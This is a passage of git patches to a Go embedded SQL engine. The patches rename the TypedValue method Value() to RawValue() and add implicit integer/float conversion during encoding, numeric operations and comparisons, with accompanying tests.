require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].RawValue()) + require.Equal(t, "active", row.ValuesBySelector["(db1.columns.name)"].RawValue()) + require.Equal(t, BooleanType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) + require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go index 922d97e75f..08e84684da 100644 --- a/embedded/sql/implicit_conversion.go +++ b/embedded/sql/implicit_conversion.go @@ -16,15 +16,15 @@ limitations under the License. package sql -func applyImplicitConversion(val TypedValue, requiredColumnType SQLValueType) interface{} { +func applyImplicitConversion(val interface{}, requiredColumnType SQLValueType) interface{} { switch requiredColumnType { case Float64Type: - switch value := val.Value().(type) { + switch value := val.(type) { case int64: return float64(value) } } // No implicit conversion rule found, do not convert at all - return val.Value() + return val } diff --git a/embedded/sql/implicit_conversion_test.go b/embedded/sql/implicit_conversion_test.go index 38a97ef53d..a6ee91a66e 100644 --- a/embedded/sql/implicit_conversion_test.go +++ b/embedded/sql/implicit_conversion_test.go @@ -35,7 +35,7 @@ func TestApplyImplicitConversion(t *testing.T) { {&Varchar{val: "hello world"}, IntegerType, "hello world"}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { - converted := applyImplicitConversion(d.val, d.requiredType) + converted := applyImplicitConversion(d.val.RawValue(), d.requiredType) require.Equal(t, d.result, converted) }) } diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go index 6a47ea478b..a3268e00d1 100644 --- a/embedded/sql/num_operator.go +++ b/embedded/sql/num_operator.go @@ -27,12 +27,12 @@ func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { } func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - nl, isNumber := vl.Value().(int64) + nl, isNumber := vl.RawValue().(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } - nr, isNumber := vr.Value().(int64) + nr, isNumber := vr.RawValue().(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } @@ -64,12 +64,12 @@ func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, err } func applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - nl, isNumber := applyImplicitConversion(vl, Float64Type).(float64) + nl, isNumber := applyImplicitConversion(vl.RawValue(), Float64Type).(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } - nr, isNumber := applyImplicitConversion(vr, Float64Type).(float64) + nr, isNumber := applyImplicitConversion(vr.RawValue(), Float64Type).(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } diff --git a/embedded/sql/num_operator_test.go b/embedded/sql/num_operator_test.go index 71fca5896c..8f51c71efb 100644 --- a/embedded/sql/num_operator_test.go +++ b/embedded/sql/num_operator_test.go @@ -55,7 +55,7 @@ func TestNumOperator(t *testing.T) { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { result, err := applyNumOperator(d.op, d.lv, d.rv) require.NoError(t, err) - require.Equal(t, d.ev, result.Value()) + require.Equal(t, d.ev, result.RawValue()) }) } }) diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 58905f31ae..c724eac133 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1625,7 +1625,6 @@ func TestMultiLineStmts(t *testing.T) { } func TestFloatCornerCases(t *testing.T) { - for _, d := range []struct { s string invalid bool diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 191ebfd84b..45bc34035d 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -93,7 +93,7 @@ func (row *Row) digest(cols []ColDescriptor) (d [sha256.Size]byte, err error) { continue } - encVal, err := EncodeValue(v.Value(), v.Type(), 0) + encVal, err := EncodeValue(v, v.Type(), 0) if err != nil { return d, err } @@ -221,7 +221,7 @@ func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (sp if colRange.hRange == nil { hiKeyReady = true } else { - encVal, err := EncodeAsKey(colRange.hRange.val.Value(), col.colType, col.MaxLen()) + encVal, err := EncodeValueAsKey(colRange.hRange.val, col.colType, col.MaxLen()) if err != nil { return nil, err } @@ -233,7 +233,7 @@ func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (sp if colRange.lRange == nil { loKeyReady = true } else { - encVal, err := EncodeAsKey(colRange.lRange.val.Value(), col.colType, col.MaxLen()) + encVal, err := EncodeValueAsKey(colRange.lRange.val, col.colType, col.MaxLen()) if err != nil { return nil, err } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 2d6a572705..405e1dced6 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -664,7 +664,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st if col.autoIncrement { // validate specified value - nl, isNumber := rval.Value().(int64) + nl, isNumber := rval.RawValue().(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } @@ -776,9 +776,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return err } - convertedValue := applyImplicitConversion(rval, col.colType) - - encVal, err := EncodeValue(convertedValue, col.colType, col.MaxLen()) + encVal, err := EncodeValue(rval, col.colType, col.MaxLen()) if err != nil { return err } @@ -831,7 +829,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m rval = &NullValue{t: col.colType} } - encVal, err := EncodeAsKey(rval.Value(), col.colType, col.MaxLen()) + encVal, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { return err } @@ -872,7 +870,7 @@ func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error return nil, ErrPKCanNotBeNull } - encVal, err := EncodeAsKey(rval.Value(), col.colType, col.MaxLen()) + encVal, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { return nil, err } @@ -965,7 +963,7 @@ func (tx *SQLTx) deprecateIndexEntries( sameIndexKey = sameIndexKey && r == 0 - encVal, _ := EncodeAsKey(currVal.Value(), col.colType, col.MaxLen()) + encVal, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen()) encodedValues[i+3] = encVal } @@ -1255,7 +1253,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T val = &NullValue{t: col.colType} } - encVal, _ := EncodeAsKey(val.Value(), col.colType, col.MaxLen()) + encVal, _ := EncodeValueAsKey(val, col.colType, col.MaxLen()) encodedValues[i+3] = encVal } @@ -1388,7 +1386,7 @@ func minSemiRange(or1, or2 *typedValueSemiRange) (*typedValueSemiRange, error) { type TypedValue interface { ValueExp Type() SQLValueType - Value() interface{} + RawValue() interface{} Compare(val TypedValue) (int, error) IsNull() bool } @@ -1401,7 +1399,7 @@ func (n *NullValue) Type() SQLValueType { return n.t } -func (n *NullValue) Value() interface{} { +func (n *NullValue) RawValue() interface{} { return nil } @@ -1414,7 +1412,7 @@ func (n *NullValue) Compare(val TypedValue) (int, error) { return 0, ErrNotComparableValues } - if val.Value() == nil { + if val.RawValue() == nil { return 0, nil } @@ -1503,7 +1501,7 @@ func (v *Integer) selectorRanges(table *Table, asTable string, params map[string return nil } -func (v *Integer) Value() interface{} { +func (v *Integer) RawValue() interface{} { return v.val } @@ -1512,11 +1510,16 @@ func (v *Integer) Compare(val TypedValue) (int, error) { return 1, nil } + if val.Type() == Float64Type { + r, err := val.Compare(v) + return r * -1, err + } + if val.Type() != IntegerType { return 0, ErrNotComparableValues } - rval := val.Value().(int64) + rval := val.RawValue().(int64) if v.val == rval { return 0, nil @@ -1573,7 +1576,7 @@ func (v *Timestamp) selectorRanges(table *Table, asTable string, params map[stri return nil } -func (v *Timestamp) Value() interface{} { +func (v *Timestamp) RawValue() interface{} { return v.val } @@ -1586,7 +1589,7 @@ func (v *Timestamp) Compare(val TypedValue) (int, error) { return 0, ErrNotComparableValues } - rval := val.Value().(time.Time) + rval := val.RawValue().(time.Time) if v.val.Before(rval) { return -1, nil @@ -1643,7 +1646,7 @@ func (v *Varchar) selectorRanges(table *Table, asTable string, params map[string return nil } -func (v *Varchar) Value() interface{} { +func (v *Varchar) RawValue() interface{} { return v.val } @@ -1656,7 +1659,7 @@ func (v *Varchar) Compare(val TypedValue) (int, error) { return 0, ErrNotComparableValues } - rval := val.Value().(string) + rval := val.RawValue().(string) return bytes.Compare([]byte(v.val), []byte(rval)), nil } @@ -1705,7 +1708,7 @@ func (v *Bool) selectorRanges(table *Table, asTable string, params map[string]in return nil } -func (v *Bool) Value() interface{} { +func (v *Bool) RawValue() interface{} { return v.val } @@ -1718,7 +1721,7 @@ func (v *Bool) Compare(val TypedValue) (int, error) { return 0, ErrNotComparableValues } - rval := val.Value().(bool) + rval := val.RawValue().(bool) if v.val == rval { return 0, nil @@ -1775,7 +1778,7 @@ func (v *Blob) selectorRanges(table *Table, asTable string, params map[string]in return nil } -func (v *Blob) Value() interface{} { +func (v *Blob) RawValue() interface{} { return v.val } @@ -1788,7 +1791,7 @@ func (v *Blob) Compare(val TypedValue) (int, error) { return 0, ErrNotComparableValues } - rval := val.Value().([]byte) + rval := val.RawValue().([]byte) return bytes.Compare(v.val, rval), nil } @@ -1837,7 +1840,7 @@ func (v *Float64) selectorRanges(table *Table, asTable string, params map[string return nil } -func (v *Float64) Value() interface{} { +func (v *Float64) RawValue() interface{} { return v.val } @@ -1846,7 +1849,9 @@ func (v *Float64) Compare(val TypedValue) (int, error) { return 1, nil } - rval, ok := val.Value().(float64) + convVal := applyImplicitConversion(val.RawValue(), Float64Type) + + rval, ok := convVal.(float64) if !ok { return 0, ErrNotComparableValues } @@ -1934,24 +1939,30 @@ type Cast struct { type converterFunc func(TypedValue) (TypedValue, error) func getConverter(src, dst SQLValueType) (converterFunc, error) { + if src == dst { + return func(tv TypedValue) (TypedValue, error) { + return tv, nil + }, nil + } + if dst == TimestampType { if src == IntegerType { return func(val TypedValue) (TypedValue, error) { - if val.Value() == nil { + if val.RawValue() == nil { return &NullValue{t: TimestampType}, nil } - return &Timestamp{val: time.Unix(val.Value().(int64), 0).Truncate(time.Microsecond).UTC()}, nil + return &Timestamp{val: time.Unix(val.RawValue().(int64), 0).Truncate(time.Microsecond).UTC()}, nil }, nil } if src == VarcharType { return func(val TypedValue) (TypedValue, error) { - if val.Value() == nil { + if val.RawValue() == nil { return &NullValue{t: TimestampType}, nil } - str := val.Value().(string) + str := val.RawValue().(string) for _, layout := range []string{ "2006-01-02 15:04:05.999999", "2006-01-02 15:04", @@ -1969,7 +1980,7 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { return nil, fmt.Errorf( "%w: can not cast string '%s' as a TIMESTAMP", - ErrIllegalArguments, + ErrUnsupportedCast, str, ) }, nil @@ -1985,25 +1996,25 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { if src == IntegerType { return func(val TypedValue) (TypedValue, error) { - if val.Value() == nil { + if val.RawValue() == nil { return &NullValue{t: Float64Type}, nil } - return &Float64{val: float64(val.Value().(int64))}, nil + return &Float64{val: float64(val.RawValue().(int64))}, nil }, nil } if src == VarcharType { return func(val TypedValue) (TypedValue, error) { - if val.Value() == nil { + if val.RawValue() == nil { return &NullValue{t: Float64Type}, nil } - s, err := strconv.ParseFloat(val.Value().(string), 64) + s, err := strconv.ParseFloat(val.RawValue().(string), 64) if err != nil { return nil, fmt.Errorf( "%w: can not cast string '%s' as a FLOAT", - ErrIllegalArguments, - val.Value().(string), + ErrUnsupportedCast, + val.RawValue().(string), ) } return &Float64{val: s}, nil @@ -2011,7 +2022,7 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { } return nil, fmt.Errorf( - "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", + "%w: only INTEGER and VARCHAR types can be cast as FLOAT", ErrUnsupportedCast, ) } @@ -2588,7 +2599,7 @@ func (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, in } if i.instantType == txInstant { - txID, ok := instantVal.Value().(int64) + txID, ok := instantVal.RawValue().(int64) if !ok { return 0, fmt.Errorf("%w: invalid tx range, tx ID must be a positive integer, %s given", ErrIllegalArguments, instantVal.Type()) } @@ -2615,7 +2626,7 @@ func (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, in var ts time.Time if instantVal.Type() == TimestampType { - ts = instantVal.Value().(time.Time) + ts = instantVal.RawValue().(time.Time) } else { conv, err := getConverter(instantVal.Type(), TimestampType) if err != nil { @@ -2627,7 +2638,7 @@ func (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, in return 0, err } - ts = tval.Value().(time.Time) + ts = tval.RawValue().(time.Time) } sts := ts @@ -3105,7 +3116,7 @@ func (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable st return nil, err } - r, isBool := v.Value().(bool) + r, isBool := v.RawValue().(bool) if !isBool { return nil, ErrInvalidCondition } @@ -3208,7 +3219,7 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable s return nil, fmt.Errorf("error evaluating 'LIKE' clause: %w", ErrInvalidTypes) } - matched, err := regexp.MatchString(rpattern.Value().(string), rval.Value().(string)) + matched, err := regexp.MatchString(rpattern.RawValue().(string), rval.RawValue().(string)) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } @@ -3958,7 +3969,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, return nil, fmt.Errorf("%w: expected '%s' for table name but type '%s' given instead", ErrIllegalArguments, VarcharType, tableName.Type()) } - table, err := tx.currentDB.GetTableByName(tableName.Value().(string)) + table, err := tx.currentDB.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } @@ -4033,7 +4044,7 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return nil, fmt.Errorf("%w: expected '%s' for table name but type '%s' given instead", ErrIllegalArguments, VarcharType, tableName.Type()) } - table, err := tx.currentDB.GetTableByName(tableName.Value().(string)) + table, err := tx.currentDB.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } diff --git a/embedded/tools/stress_tool_sql/stress_tool_sql.go b/embedded/tools/stress_tool_sql/stress_tool_sql.go index 0e0a21a34b..cc06dad5d4 100644 --- a/embedded/tools/stress_tool_sql/stress_tool_sql.go +++ b/embedded/tools/stress_tool_sql/stress_tool_sql.go @@ -230,7 +230,7 @@ func main() { panic(err) } r.Close() - n := ret.ValuesBySelector["(defaultdb.entries.col0)"].Value().(uint64) + n := ret.ValuesBySelector["(defaultdb.entries.col0)"].RawValue().(uint64) if n != uint64(i) { log.Printf("Reader %d read %d vs %d", id, n, i) } @@ -254,7 +254,7 @@ func main() { panic(err) } - count := row.ValuesBySelector["(defaultdb.entries.col0)"].Value().(uint64) + count := row.ValuesBySelector["(defaultdb.entries.col0)"].RawValue().(uint64) log.Printf("- Counted %d entries\n", count) defer func() { err := r.Close() diff --git a/pkg/client/sql.go b/pkg/client/sql.go index 7c35792cd0..62ad1ececb 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -157,7 +157,7 @@ func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table strin return sql.ErrCorruptedData } - pkEncVal, err := sql.EncodeAsKey(schema.RawValue(pkVal), pkType, int(pkLen)) + pkEncVal, err := sql.EncodeRawValueAsKey(schema.RawValue(pkVal), pkType, int(pkLen)) if err != nil { return err } @@ -330,27 +330,27 @@ func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { switch tv.Type() { case sql.IntegerType: { - return &schema.SQLValue{Value: &schema.SQLValue_N{N: tv.Value().(int64)}} + return &schema.SQLValue{Value: &schema.SQLValue_N{N: tv.RawValue().(int64)}} } case sql.VarcharType: { - return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.Value().(string)}} + return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} } case sql.BooleanType: { - return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.Value().(bool)}} + return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.RawValue().(bool)}} } case sql.BLOBType: { - return &schema.SQLValue{Value: &schema.SQLValue_Bs{Bs: tv.Value().([]byte)}} + return &schema.SQLValue{Value: &schema.SQLValue_Bs{Bs: tv.RawValue().([]byte)}} } case sql.TimestampType: { - return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.Value().(time.Time))}} + return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}} } case sql.Float64Type: { - return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.Value().(float64)}} + return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.RawValue().(float64)}} } } return nil diff --git a/pkg/database/sql.go b/pkg/database/sql.go index b393c96df0..9d28192d9e 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -83,7 +83,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR } for i, pkCol := range table.PrimaryIndex().Cols() { - pkEncVal, err := sql.EncodeAsKey(schema.RawValue(req.SqlGetRequest.PkValues[i]), pkCol.Type(), pkCol.MaxLen()) + pkEncVal, err := sql.EncodeRawValueAsKey(schema.RawValue(req.SqlGetRequest.PkValues[i]), pkCol.Type(), pkCol.MaxLen()) if err != nil { return nil, err } @@ -544,27 +544,27 @@ func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { switch tv.Type() { case sql.IntegerType: { - return &schema.SQLValue{Value: &schema.SQLValue_N{N: tv.Value().(int64)}} + return &schema.SQLValue{Value: &schema.SQLValue_N{N: tv.RawValue().(int64)}} } case sql.VarcharType: { - return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.Value().(string)}} + return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} } case sql.BooleanType: { - return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.Value().(bool)}} + return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.RawValue().(bool)}} } case sql.BLOBType: { - return &schema.SQLValue{Value: &schema.SQLValue_Bs{Bs: tv.Value().([]byte)}} + return &schema.SQLValue{Value: &schema.SQLValue_Bs{Bs: tv.RawValue().([]byte)}} } case sql.TimestampType: { - return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.Value().(time.Time))}} + return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}} } case sql.Float64Type: { - return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.Value().(float64)}} + return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.RawValue().(float64)}} } } return nil From bdbdb4b47c7d487d99db463e60d09486eae8fd48 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 14 Mar 2023 14:39:54 -0300 Subject: [PATCH 0341/1062] feat(embedded/sql): implicit type conversion of numeric types Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 42 +++--- embedded/sql/engine_test.go | 75 +++++++++++ embedded/sql/implicit_conversion.go | 49 ++++++- embedded/sql/implicit_conversion_test.go | 5 +- embedded/sql/num_operator.go | 28 +++- embedded/sql/stmt.go | 108 +-------------- embedded/sql/type_conversion.go | 165 +++++++++++++++++++++++ 7 files changed, 344 insertions(+), 128 deletions(-) create mode 100644 embedded/sql/type_conversion.go diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 689e78fa25..44ade54983 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -1011,16 +1011,19 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b return nil, ErrMaxKeyLengthExceeded } - if val == nil { - return []byte{KeyValPrefixNull}, nil + convVal, err := mayApplyImplicitConversion(val, colType) + if err != nil { + return nil, err } - convertedValue := applyImplicitConversion(val, colType) + if convVal == nil { + return []byte{KeyValPrefixNull}, nil + } switch colType { case VarcharType: { - strVal, ok := convertedValue.(string) + strVal, ok := convVal.(string) if !ok { return nil, fmt.Errorf( "value is not a string: %w", ErrInvalidValue, @@ -1045,7 +1048,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b return nil, ErrCorruptedData } - intVal, ok := convertedValue.(int64) + intVal, ok := convVal.(int64) if !ok { return nil, fmt.Errorf( "value is not an integer: %w", ErrInvalidValue, @@ -1067,7 +1070,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b return nil, ErrCorruptedData } - boolVal, ok := convertedValue.(bool) + boolVal, ok := convVal.(bool) if !ok { return nil, fmt.Errorf( "value is not a boolean: %w", ErrInvalidValue, @@ -1085,7 +1088,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b } case BLOBType: { - blobVal, ok := convertedValue.([]byte) + blobVal, ok := convVal.([]byte) if !ok { return nil, fmt.Errorf( "value is not a blob: %w", ErrInvalidValue, @@ -1110,7 +1113,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b return nil, ErrCorruptedData } - timeVal, ok := convertedValue.(time.Time) + timeVal, ok := convVal.(time.Time) if !ok { return nil, fmt.Errorf( "value is not a timestamp: %w", ErrInvalidValue, @@ -1128,7 +1131,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b } case Float64Type: { - floatVal, ok := convertedValue.(float64) + floatVal, ok := convVal.(float64) if !ok { return nil, fmt.Errorf( "value is not a float: %w", ErrInvalidValue, @@ -1170,12 +1173,19 @@ func EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, erro // EncodeRawValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { - convertedValue := applyImplicitConversion(val, colType) + convVal, err := mayApplyImplicitConversion(val, colType) + if err != nil { + return nil, err + } + + if convVal == nil { + return nil, ErrInvalidValue + } switch colType { case VarcharType: { - strVal, ok := convertedValue.(string) + strVal, ok := convVal.(string) if !ok { return nil, fmt.Errorf( "value is not a string: %w", ErrInvalidValue, @@ -1195,7 +1205,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, } case IntegerType: { - intVal, ok := convertedValue.(int64) + intVal, ok := convVal.(int64) if !ok { return nil, fmt.Errorf( "value is not an integer: %w", ErrInvalidValue, @@ -1212,7 +1222,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, } case BooleanType: { - boolVal, ok := convertedValue.(bool) + boolVal, ok := convVal.(bool) if !ok { return nil, fmt.Errorf( "value is not a boolean: %w", ErrInvalidValue, @@ -1233,7 +1243,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, var blobVal []byte if val != nil { - v, ok := convertedValue.([]byte) + v, ok := convVal.([]byte) if !ok { return nil, fmt.Errorf( "value is not a blob: %w", ErrInvalidValue, @@ -1255,7 +1265,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, } case TimestampType: { - timeVal, ok := convertedValue.(time.Time) + timeVal, ok := convVal.(time.Time) if !ok { return nil, fmt.Errorf( "value is not a timestamp: %w", ErrInvalidValue, @@ -1271,7 +1281,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, } case Float64Type: { - floatVal, ok := convertedValue.(float64) + floatVal, ok := convVal.(float64) if !ok { return nil, fmt.Errorf( "value is not a float: %w", ErrInvalidValue, diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 0c280f8802..1ac96d3147 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -847,6 +847,81 @@ func TestFloatCasts(t *testing.T) { } +func TestNumericCasts(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec( + context.Background(), + nil, + ` + CREATE TABLE IF NOT EXISTS numeric_table (id INTEGER AUTO_INCREMENT, quantity INTEGER, price FLOAT, PRIMARY KEY id); + CREATE INDEX ON numeric_table(quantity); + CREATE INDEX ON numeric_table(price); + CREATE INDEX ON numeric_table(quantity, price); + `, + nil) + require.NoError(t, err) + + for _, d := range []struct { + q interface{} + p interface{} + }{ + {10, 0.5}, + {1.5, 7}, + {nil, nil}, + } { + params := make(map[string]interface{}) + params["q"] = d.q + params["p"] = d.p + + t.Run("insert row with numeric casting", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO numeric_table(quantity, price) VALUES(CAST(@q AS INTEGER), CAST(@p AS FLOAT))", + params, + ) + require.NoError(t, err) + + r, err := engine.Query( + context.Background(), + nil, + "SELECT quantity, price FROM numeric_table ORDER BY id DESC LIMIT 1", + nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, IntegerType, row.ValuesByPosition[0].Type()) + require.Equal(t, Float64Type, row.ValuesByPosition[1].Type()) + }) + + t.Run("insert row with implicit numeric casting", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO numeric_table(quantity, price) VALUES(@q, @p)", + params, + ) + require.NoError(t, err) + + r, err := engine.Query( + context.Background(), + nil, + "SELECT quantity, price FROM numeric_table ORDER BY id DESC LIMIT 1", + nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, IntegerType, row.ValuesByPosition[0].Type()) + require.Equal(t, Float64Type, row.ValuesByPosition[1].Type()) + }) + } +} + func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { engine := setupCommonTest(t) diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go index 08e84684da..c4e76307ba 100644 --- a/embedded/sql/implicit_conversion.go +++ b/embedded/sql/implicit_conversion.go @@ -16,15 +16,56 @@ limitations under the License. package sql -func applyImplicitConversion(val interface{}, requiredColumnType SQLValueType) interface{} { +// mayApplyImplicitConversion may do an implicit type conversion +// implicit conversion is currently done in a subset of possible explicit conversions i.e. CAST +func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType) (interface{}, error) { + if val == nil { + return nil, nil + } + + var converter converterFunc + var typedVal TypedValue + var err error + switch requiredColumnType { case Float64Type: + switch value := val.(type) { + case float64: + return val, nil + case int64: + converter, err = getConverter(IntegerType, Float64Type) + if err != nil { + return nil, err + } + + typedVal = &Integer{val: value} + } + case IntegerType: switch value := val.(type) { case int64: - return float64(value) + return val, nil + case float64: + converter, err = getConverter(Float64Type, IntegerType) + if err != nil { + return nil, err + } + + typedVal = &Float64{val: value} } + default: + // No implicit conversion rule found, do not convert at all + return val, nil + } + + if typedVal == nil { + // No implicit conversion rule found, do not convert at all + return val, nil + } + + convVal, err := converter(typedVal) + if err != nil { + return nil, err } - // No implicit conversion rule found, do not convert at all - return val + return convVal.RawValue(), nil } diff --git a/embedded/sql/implicit_conversion_test.go b/embedded/sql/implicit_conversion_test.go index a6ee91a66e..0735e52d55 100644 --- a/embedded/sql/implicit_conversion_test.go +++ b/embedded/sql/implicit_conversion_test.go @@ -35,8 +35,9 @@ func TestApplyImplicitConversion(t *testing.T) { {&Varchar{val: "hello world"}, IntegerType, "hello world"}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { - converted := applyImplicitConversion(d.val.RawValue(), d.requiredType) - require.Equal(t, d.result, converted) + convVal, err := mayApplyImplicitConversion(d.val.RawValue(), d.requiredType) + require.NoError(t, err) + require.Equal(t, d.result, convVal) }) } } diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go index a3268e00d1..69bdb07622 100644 --- a/embedded/sql/num_operator.go +++ b/embedded/sql/num_operator.go @@ -27,12 +27,22 @@ func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { } func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, error) { - nl, isNumber := vl.RawValue().(int64) + convl, err := mayApplyImplicitConversion(vl.RawValue(), IntegerType) + if err != nil { + return nil, fmt.Errorf("%w (expecting numeric value)", err) + } + + nl, isNumber := convl.(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } - nr, isNumber := vr.RawValue().(int64) + convr, err := mayApplyImplicitConversion(vr.RawValue(), IntegerType) + if err != nil { + return nil, fmt.Errorf("%w (expecting numeric value)", err) + } + + nr, isNumber := convr.(int64) if !isNumber { return nil, 